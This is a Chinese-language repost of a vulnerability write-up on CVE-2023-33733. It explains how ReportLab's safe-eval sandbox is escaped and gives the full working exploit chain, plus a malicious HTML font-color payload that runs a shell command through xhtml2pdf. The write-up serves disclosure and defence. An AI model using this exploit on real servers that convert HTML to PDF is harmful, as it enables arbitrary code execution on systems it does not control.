tl;dr这篇文章详细介绍了 Reportlab 中的 RCE 是如何被发现和利用的。由于 Reportlab 在 HTML 到 PDF 处理中的普遍存在,许多处理 PDF 文件的应用程序都可能会遇到此漏洞,因此这是一个需要修补和注意的重要漏洞。
介绍
几天前,在 Web 应用程序审核期间,我们注意到该应用程序正在使用 Reportlab python 库从 HTML 输入执行动态生成 PDF 文件。Reportlab 被发现有一个先前修补的漏洞导致代码执行。这意味着从攻击者的角度来看,找到绕过补丁的方法非常有趣,因为它会导致重新发现代码执行,尤其是 Reportlab 库也用于其他应用程序和工具。
什么是Reportlab
首先,快速回顾一下:Reportlab 是一个开放源代码项目,它允许使用 Python 编程语言以 Adobe 的可移植文档格式 (PDF) 创建文档。它还可以创建各种位图和矢量格式以及 PDF 格式的图表和数据图形。
攻击Reportlab
该库在 2019 年发现了一个类似的漏洞,通过 HTML 标签的 Color 属性导致远程代码执行,该属性的内容被直接评估为使用函数的 python 表达式,从而导致代码执行eval。为了缓解这个问题,Reportlab 实施了一个调用它的沙箱,它rl_safe_eval从所有 python 内置函数中剥离出来,并具有多个覆盖的内置函数,以允许执行库安全代码,同时停止对危险函数和库的任何访问,这些函数和库随后可能导致构建危险的python代码:
这种预防措施的一个例子是内置getattr函数被一个受限函数覆盖__rl_getitem__ ,该函数禁止访问对象的任何危险属性,例如以以下开头的对象__:
class
__RL_SAFE_ENV__
(object)
:
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(
0
))
def
__init__
(self, timeout=None, allowed_magic_methods=None)
:
self.timeout = timeout
if
timeout
is
not
None
else
self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__
if
allowed_magic_methods==
True
else
allowed_magic_methods)
if
allowed_magic_methods
else
[]
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__[
'getattr'
] = self.__rl_getattr__
__rl_builtins__[
'dict'
] = __rl_dict__
#[...]
def
__rl_getattr__
(self, obj, a, *args)
:
if
isinstance(obj, strTypes)
and
a==
'format'
:
raise
BadCode(
'%s.format is not implemented'
% type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return
getattr(obj,a,*args)
def
__rl_is_allowed_name__
(self, name)
:
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if
isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if
name
in
__rl_unsafe__
or
(name.startswith(
'__'
)
and
name!=
'__'
and
name
not
in
self.allowed_magic_methods):
raise
BadCode(
'unsafe access of %s'
% name)
错误
如前所述,安全评估从所有危险功能中清除环境,以便执行代码无法访问可用于执行恶意操作的危险工具,但是如果发现绕过这些限制并可以访问其中一个原始限制builtins函数实现后,将大大方便沙盒环境的利用。
许多被覆盖的内置类之一被调用type,如果用一个参数调用这个类,它返回一个对象的类型。但是如果用三个参数调用它,它会返回一个新类型的对象。这本质上是类语句的动态形式。换句话说,它可以允许创建一个继承自另一个类的新类。
因此,这里的想法是创建一个名为的新类,Word该类继承自str该类,当传递给自定义时,getattr它将绕过检查并允许访问敏感属性,例如__code__.
getattr在沙盒 eval 中的自定义返回属性之前,它会__rl_is_allowed_name__在调用 python 内置函数getattr并返回结果之前通过调用检查被调用属性的安全性来进行一些检查。
def
__rl_is_allowed_name__
(self, name)
:
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if
isinstance(name,strTypes):
if
name
in
__rl_unsafe__
or
(name.startswith(
'__'
)
and
name!=
'__'
and
name
not
in
self.allowed_magic_methods):
raise
BadCode(
'unsafe access of %s'
% name)
要绕过该__rl_is_allowed_name__函数,Word类应该:
- 始终返回False调用函数startswith以绕过(name.startswith('__')
- 应该返回False到它的第一次调用以__eq__绕过name in __rl_unsafe__,在第一次调用之后它应该返回正确的响应,因为当__eq__被 python 内置调用时getattr它应该返回正确的结果。
- 散列应该与其基础字符串的散列相同
以下类满足这些条件:
Word = type(
'Word'
, (str,), {
'mutated'
:
1
,
'startswith'
: lambda
self
, x:
False
,
'__eq__'
: lambda
self
, x:
self
.mutate()
and
self
.mutated <
0
and
str(
self
) == x,
'mutate'
: lambda
self
: {setattr(
self
,
'mutated'
,
self
.mutated -
1
)},
'__hash__'
: lambda
self
: hash(str(
self
))
})
code = Word(
'__code__'
)
(code ==
'__code__'
)
## prints False
(code ==
'__code__'
)
## prints True
(code ==
'__code__'
)
## prints True
(code ==
'__code__'
)
## prints True
(code.startswith(
'__'
))
## prints False
安全 eval 中的自定义类型函数不允许传递三个参数:
def
__rl_type__
(self,*args)
:
if
len(args)==
1
:
return
type(*args)
raise
BadCode(
'type call error'
)
通过调用 type 自身找到了绕过它的方法,允许检索原始内置type函数:
orgTypeFun =
type
(
type
(1))
结合这两行代码会得到这样的东西:
orgTypeFun = type(type(
1
))
Word = orgTypeFun(
'Word'
, (str,), {
'mutated'
:
1
,
'startswith'
: lambda
self
, x:
False
,
'__eq__'
: lambda
self
, x:
self
.mutate()
and
self
.mutated <
0
and
str(
self
) == x,
'mutate'
: lambda
self
: {setattr(
self
,
'mutated'
,
self
.mutated -
1
)},
'__hash__'
: lambda
self
: hash(str(
self
))
})
最终利用
现在剩下的就是编写 exploit:
为此,将从编译后的字节码中重构一个函数:
orgTypeFun = type(type(
1
))
Word = orgTypeFun(
'Word'
, (str,), {
'mutated'
:
1
,
'startswith'
: lambda
self
, x:
False
,
'__eq__'
: lambda
self
, x:
self
.mutate()
and
self
.mutated <
0
and
str(
self
) == x,
'mutate'
: lambda
self
: {setattr(
self
,
'mutated'
,
self
.mutated -
1
)},
'__hash__'
: lambda
self
: hash(str(
self
))
})
codeattr = Word(
'__code__'
)
ftype = orgTypeFun(lambda: {None})
ctype = orgTypeFun(getattr(lambda: {None},codeattr))
# The byte code is of a function that looks like this
# def exp():
# __import__('os').system('touch /tmp/exploited')
f = ftype(ctype(
0
,
0
,
0
,
0
,
3
,
67
,
b'tx00dx01x83x01xa0x01dx02xa1x01x01x00dx00Sx00'
,
(None,
'os'
,
'touch /tmp/exploited'
), (
'__import__'
,
'system'
), (),
'<stdin>'
,
''
,
1
,
b'x12x01'
), {})
f()
然而,像这样的多行表达式不会在 eval 上下文中执行,要绕过这个问题,list comprehension可以使用技巧,如下所示:
[
(x)
for
x
in
[
'hellworld'
]]
# which would be equivalent to
x=
'helloworld'
(x)
[[
(x +
' '
+ y)
for
y
in
[
'second var'
]]
for
x
in
[
'first var'
]]
# which would be equivalent to
x=
'first var'
x=
'second var'
(x +
' '
+ y)
使用这种技术,漏洞利用代码可以像这样用一行代码重写(这被认为是一行 x)这里的多行只是格式化以增加漏洞利用的可读性,声明应该从下到上阅读 x)很奇怪但是这就是它的工作原理):
[
[
[
[
ftype(ctype(
0
,
0
,
0
,
0
,
3
,
67
,
b'tx00dx01x83x01xa0x01dx02xa1x01x01x00dx00Sx00'
,
(
None
,
'os'
,
'touch /tmp/exploited'
), (
'__import__'
,
'system'
), (),
'<stdin>'
,
''
,
1
,
b'x12x01'
), {})()
for
ftype
in
[type(
lambda
:
None
)]
]
for
ctype
in
[type(getattr(
lambda
: {
None
}, Word(
'__code__'
)))]
]
for
Word
in
[orgTypeFun(
'Word'
, (str,), {
'mutated'
:
1
,
'startswith'
:
lambda
self, x:
False
,
'__eq__'
:
lambda
self,x: self.mutate()
and
self.mutated <
0
and
str(self) == x,
'mutate'
:
lambda
self: {setattr(self,
'mutated'
, self.mutated -
1
)},
'__hash__'
:
lambda
self: hash(str(self))
})]
]
for
orgTypeFun
in
[type(type(
1
))]
]
概念验证
请参考,poc.py因为它包含演示代码执行的概念证明(成功利用后,exploited将在 /tmp/ 中创建一个名为的文件)。
还有什么?
许多应用程序和库都使用 Reportlab 库,例如 xhtml2pdf 实用程序函数很容易受到攻击,并且在将恶意 HTML 转换为 pdf 时可能会受到代码执行的影响
cat >mallicious.html <<EOF
<para>
<
font
color
=
"[ [ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00', (none, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})() for ftype in [type(lambda: none)] ] for ctype in [type(getattr(lambda: {none}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1==0, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]]"
>
exploit
</
font
>
</
para
>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
``
参考:https://github.com/c53elyas/CVE-2023-33733
原文始发于微信公众号(Ots安全):CVE-2023-33733 reportlab RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论